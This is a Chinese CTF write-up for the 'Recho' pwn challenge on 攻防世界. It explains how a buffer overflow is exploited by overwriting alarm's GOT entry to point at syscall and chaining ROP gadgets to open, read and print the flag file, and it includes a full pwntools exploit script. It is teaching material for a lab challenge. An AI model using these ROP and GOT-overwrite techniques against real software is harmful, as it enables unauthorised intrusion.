【攻防世界】Recho

1.程序逆向

简单,略

2.漏洞利用

这道题想了半天,没想明白怎么退出循环,所以看了 ha1vk 师傅博客,学习了一波。
退出循环主要是利用 pwntools 提供的一个功能:shutdown。这个功能可以关闭流,这样就可以退出循环了。
    因为对于有些系统,system 可以用系统调用,但是有些不行,所以这里采用 orw 的方式读取 flag。 shift + f12 可以看到 flag 字符串,所以也可能是提示我们。
题目中有了 read,write 可以使用,那还差 open。通过看 libc 源码知道,read,write,open 等函数都是通过 syscall 来进行调用的,只是 eax 寄存器的值不同:
在这里插入图片描述
在这里插入图片描述
open 的 eax 值为 2,所以如果能获得 syscall 的地址或者调用他的某处地址,便能够实现 open。我们想要达到的代码如下:

int fd = open("flag", READONLY);
read(fd, buf, 0x100)
printf("%s", buf)

本题中 alarm 函数在 init 中调用装载完实际地址后便再也没用,所以可以修改其 got 表的值指向 syscall:
在这里插入图片描述
可以看到在 alarm + 5 的地方就是 syscall,所以修改其 got 表值 + 5 即可,但是这步如何实现呢?在如下处有一个很有用的 gadget:
在这里插入图片描述
在这个地方右键点击 undifine 然后按一下 c 就变成如下指令:
在这里插入图片描述
这个 gadget 非常有用,如果 rdi 中存放的是 alarm 的 got 表地址,[rdi] 存放其真实函数地址,那么加上 al 的值就可以实现 got 表指向 syscall,(其中al 是 rax/eax 寄存器的低 32 / 16 位),那么此时传入 rax 的值为 2 就可以调用 open 了。
还有一个隐藏的 gadget 是一系列 pop 指令中,存在一个 pop rdi, ret :
在这里插入图片描述
然后我们还需要一个可读写的位置:
在这里插入图片描述
bss 段可读可写。
那我们的整个利用流程就是:

  • 先修改 alarm 函数的 got 表指向 syscall
  • 通过 syscall 调用 open
  • read 到 bss 段
  • printf 打印 flag
3.完整 exp
#encoding=utf-8
from pwn import *

p = process("./pwn")
elf = ELF("./pwn")
# libc = ELF("./libc_64.so.6")
# libc = elf.libc

context(log_level = 'debug')

add_rdi = p64(0x40070d)
bss_addr = p64(0x601080)
flag_addr = p64(0x601058)
pop_rax_ret = p64(0x4006fc)
pop_rdi_ret = p64(0x4008A3)
pop_rsi_r15_ret = p64(0x4008a1)
pop_rdx_ret = p64(0x4006fe)

alarm_got = p64(elf.got['alarm'])
syscall = p64(elf.plt['alarm'])
printf = p64(elf.plt['printf'])
read = p64(elf.plt['read'])

p.recvuntil("Welcome to Recho server!\n")
p.sendline(str(0x200))

# alarm -> syscall
pl = 'a'*0x38
pl += pop_rdi_ret + alarm_got
pl += pop_rax_ret + p64(5)
pl += add_rdi

# fd = open(flag, READONLY);
pl += pop_rsi_r15_ret + p64(0) + p64(0)
pl += pop_rdi_ret + flag_addr
pl += pop_rax_ret + p64(2) + syscall

# read(fd, bss_addr, 0x100)
pl += pop_rdi_ret + p64(3)
pl += pop_rsi_r15_ret + bss_addr + p64(0)
pl += pop_rdx_ret + p64(0x100) + read

# printf(bss_addr)
pl += pop_rdi_ret + bss_addr + printf

pl = pl.ljust(0x200, "\x00")
p.sendline(pl)

p.shutdown("write")

p.interactive()
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值